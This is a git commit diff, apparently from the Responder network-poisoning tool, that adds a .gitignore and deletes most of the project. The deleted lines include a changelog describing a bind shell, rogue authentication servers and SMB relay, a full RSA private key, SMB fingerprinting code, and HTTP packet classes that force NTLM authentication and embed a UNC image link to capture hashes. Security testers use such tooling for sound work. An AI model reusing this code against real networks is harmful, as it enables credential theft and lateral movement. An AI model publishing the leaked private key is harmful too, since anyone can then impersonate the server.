Fixed Harsh Parser variable typo

Fixes MDNS Name parsing error (Issue #47)

.gitignore

@@ -0,0 +1,65 @@
+/plugins/old_plugins/
+backdoored/
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# Responder logs
+*.db
+*.txt
+*.log
+logs/*

CHANGELOG

@@ -1,55 +0,0 @@
-ChangeLog Responder 2.0:
-- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
-- Added: Ability to inject custom HTML in HTTP responses.
-- Added: New WPAD proxy server. Enabled by default.
-- Several improvements.
-- Added: SMTP module
-- Added: POP3 module
-- Added: MSSQL plaintext auth support
-- Added: SMB Relay
-- Added: NBT-NS name is now printed.
-- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
-- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
-- Added: Ability to change the pac script in Responder.conf
-- Added: Configuration file for Responder. See Responder.conf
-- Removed: Several options removed.
-- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
-- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
-- Added: Ability to bind Responder to a specific interface
-- Fix: Several fixes
-- Added: HTTPS module.
-- Added: Support for LM Hash downgrade.
-- Added: WPAD transparent proxy server.
-- Fix: minor bug fix
-- Fix: Fixed bug in HTTP server.
-- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
-- Added: Ability to turn on/off the DNS server.
-- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
-- Added: SMB Clear Text function for NT4 specific.
-- Added: DNS server module. 
-- Added: FTP server module.
-- Added: Ability to find the PDC in stealth mode with the Browser listener.
-- Several changes.
-- Removed: -d option (Domain), useless for now.
-- Added: SMB Extended Security NTLMSSP authentication. 
-- Added: Fingerprint module.
-- Added: Ability to turn off independently capture services.(mubix)
-- Added: Function to grab HTTP cookies.
-- Fix: Typo in logfile description.
-- Added: Option for logging to a file (ravenium).
-- Added: Basic exception handling for server sockets (ravenium).
-- Added: Logging functionality, now logs all Responder activity to a file with date and time.
-- Added: Print IP address to stdout for each protocol.
-- Improvement: Added new line on Writedata (atucom).
-- Improvement: final Hash is now printed to stdout instead of NT and LM. 
-- Fix: Fixed spelling in README (atucom).
-- Fix: Removed hardcoded challenge for SQL NTLM.
-- Fix: Removed hardcoded challenge for HTTP NTLM.
-- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
-- Added command line switch support with optparse.
-- Added -r switch, which allows turning On/Off Wredir answers.
-- Added the possibility to turn off HTTP server using the -s switch.
-- Added LLMNR module.
-- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
-  empty.
-- Several minor changes.

Certs/gen-self-signed-cert.sh

@@ -1,2 +0,0 @@
-#!/bin/bash
-openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr

Certs/responder.crt

@@ -1,19 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
-r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
-YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
-D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
-Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
-qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9
-wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE
-FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN
-s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ
-B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt
-X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu
-1eVgF/UkX9fqJg==
------END CERTIFICATE-----

Certs/responder.key

@@ -1,27 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2
-6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF
-1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ
-2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5
-S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo
-Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE
-cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO
-tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI
-+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY
-RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB
-0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n
-8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5
-UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D
-Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ
-H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV
-2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U
-q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J
-59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW
-68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1
-daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM
-yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7
-xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP
-TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w
-Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b
-KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh
------END RSA PRIVATE KEY-----

Fingerprint.py

@@ -1,134 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import re,sys,socket,struct,string
-from socket import *
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x62\x00"),
-        ("data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("separator3","\x02"),
-        ("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("separator4","\x02"),
-        ("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("separator5","\x02"),
-        ("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("separator6","\x02"),
-        ("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionFingerData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0c"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00" ),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\x04\x11"),
-        ("maxmpx", "\x32\x00"),
-        ("vcnum","\x00\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("securitybloblength","\x4a\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("capabilities", "\xd4\x00\x00\xa0"),
-        ("bcc1",""),
-        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]   
-
-
-def OsNameClientVersion(data):
-    try:
-       lenght = struct.unpack('<H',data[43:45])[0]
-       pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
-       var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
-       OsVersion, ClientVersion = tuple(var)
-       return OsVersion, ClientVersion
-    except:
-       return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
-
-def RunSmbFinger(host):
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect(host)
-    s.settimeout(0.7)
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
-    n = SMBNego(data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    if data[8:10] == "\x72\x00":
-       head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
-       t = SMBSessionFingerData()
-       t.calculate()
-       final = t 
-       packet0 = str(head)+str(final)
-       buffer1 = longueur(packet0)+packet0  
-       s.send(buffer1) 
-       data = s.recv(2048)
-    if data[8:10] == "\x73\x16":
-       return OsNameClientVersion(data)

FingerprintRelay.py

@@ -1,132 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import re,socket,struct
-from socket import *
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x62\x00"),
-        ("data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("separator3","\x02"),
-        ("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("separator4","\x02"),
-        ("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("separator5","\x02"),
-        ("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("separator6","\x02"),
-        ("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionFingerData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0c"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00" ),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\x04\x11"),
-        ("maxmpx", "\x32\x00"),
-        ("vcnum","\x00\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("securitybloblength","\x4a\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("capabilities", "\xd4\x00\x00\xa0"),
-        ("bcc1",""),
-        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]   
-
-
-def OsNameClientVersion(data):
-    lenght = struct.unpack('<H',data[43:45])[0]
-    pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
-    var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
-    OsVersion = tuple(var)[0]
-    return OsVersion
-
-
-def RunSmbFinger(host):
-    s = socket(AF_INET, SOCK_STREAM)
-    s.connect(host)
-    s.settimeout(0.7)
-    h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
-    n = SMBNego(data = SMBNegoData())
-    n.calculate()
-    packet0 = str(h)+str(n)
-    buffer0 = longueur(packet0)+packet0
-    s.send(buffer0)
-    data = s.recv(2048)
-    if data[8:10] == "\x72\x00":
-       head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
-       t = SMBSessionFingerData()
-       t.calculate()
-       final = t 
-       packet0 = str(head)+str(final)
-       buffer1 = longueur(packet0)+packet0  
-       s.send(buffer1) 
-       data = s.recv(2048)
-    if data[8:10] == "\x73\x16":
-       return OsNameClientVersion(data)

HTTPCookies/.gitignore

@@ -1,2 +0,0 @@
-*
-!.gitignore

HTTPPackets.py

@@ -1,163 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_401_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])
-
-#HTTP Packet Granted auth.
-class IIS_Auth_Granted(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 200 OK\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("ContentLen",    "Content-Length: "),
-        ("ActualLen",     "76"), 
-        ("CRLF",          "\r\n\r\n"),
-        ("Payload",       "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
-    ])
-    def calculate(self):
-        self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP NTLM Auth
-class NTLM_Challenge(Packet):
-    fields = OrderedDict([
-        ("Signature",        "NTLMSSP"),
-        ("SignatureNull",    "\x00"),
-        ("MessageType",      "\x02\x00\x00\x00"),
-        ("TargetNameLen",    "\x06\x00"),
-        ("TargetNameMaxLen", "\x06\x00"),
-        ("TargetNameOffset", "\x38\x00\x00\x00"),
-        ("NegoFlags",        "\x05\x02\x89\xa2"),
-        ("ServerChallenge",  ""),
-        ("Reserved",         "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("TargetInfoLen",    "\x7e\x00"),
-        ("TargetInfoMaxLen", "\x7e\x00"),
-        ("TargetInfoOffset", "\x3e\x00\x00\x00"),
-        ("NTLMOsVersion",    "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
-        ("TargetNameStr",    "SMB"),
-        ("Av1",              "\x02\x00"),#nbt name
-        ("Av1Len",           "\x06\x00"),
-        ("Av1Str",           "SMB"),
-        ("Av2",              "\x01\x00"),#Server name
-        ("Av2Len",           "\x14\x00"),
-        ("Av2Str",           "SMB-TOOLKIT"),
-        ("Av3",              "\x04\x00"),#Full Domain name
-        ("Av3Len",           "\x12\x00"),
-        ("Av3Str",           "smb.local"),
-        ("Av4",              "\x03\x00"),#Full machine domain name
-        ("Av4Len",           "\x28\x00"),
-        ("Av4Str",           "server2003.smb.local"),
-        ("Av5",              "\x05\x00"),#Domain Forest Name
-        ("Av5Len",           "\x12\x00"),
-        ("Av5Str",           "smb.local"),
-        ("Av6",              "\x00\x00"),#AvPairs Terminator
-        ("Av6Len",           "\x00\x00"),             
-    ])
-
-    def calculate(self):
-        ##First convert to uni
-        self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
-        self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
-        self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
-        self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
-        self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
-        self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-      
-        ##Then calculate
-        CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
-        CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
-        CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        # Target Name Offsets
-        self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
-        self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        #AvPairs Offsets
-        self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
-        self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        #AvPairs StrLen
-        self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
-        self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
-        self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
-        self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
-        self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
-
-#HTTP NTLM packet.
-class IIS_NTLM_Challenge_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWWAuth",       "WWW-Authenticate: NTLM "),
-        ("Payload",       ""),
-        ("Payload-CRLF",  "\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"),
-        ("CRLF",          "\r\n"),                                            
-    ])
-
-    def calculate(self,payload):
-        self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_401_Ans(Packet):
-    fields = OrderedDict([
-        ("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
-        ("ServerType",    "Server: Microsoft-IIS/6.0\r\n"),
-        ("Date",          "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
-        ("Type",          "Content-Type: text/html\r\n"),
-        ("WWW-Auth",      "WWW-Authenticate: Basic realm=''\r\n"),
-        ("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-        ("Len",           "Content-Length: 0\r\n"), 
-        ("CRLF",          "\r\n"),                               
-    ])

HTTPProxy.py

@@ -1,158 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
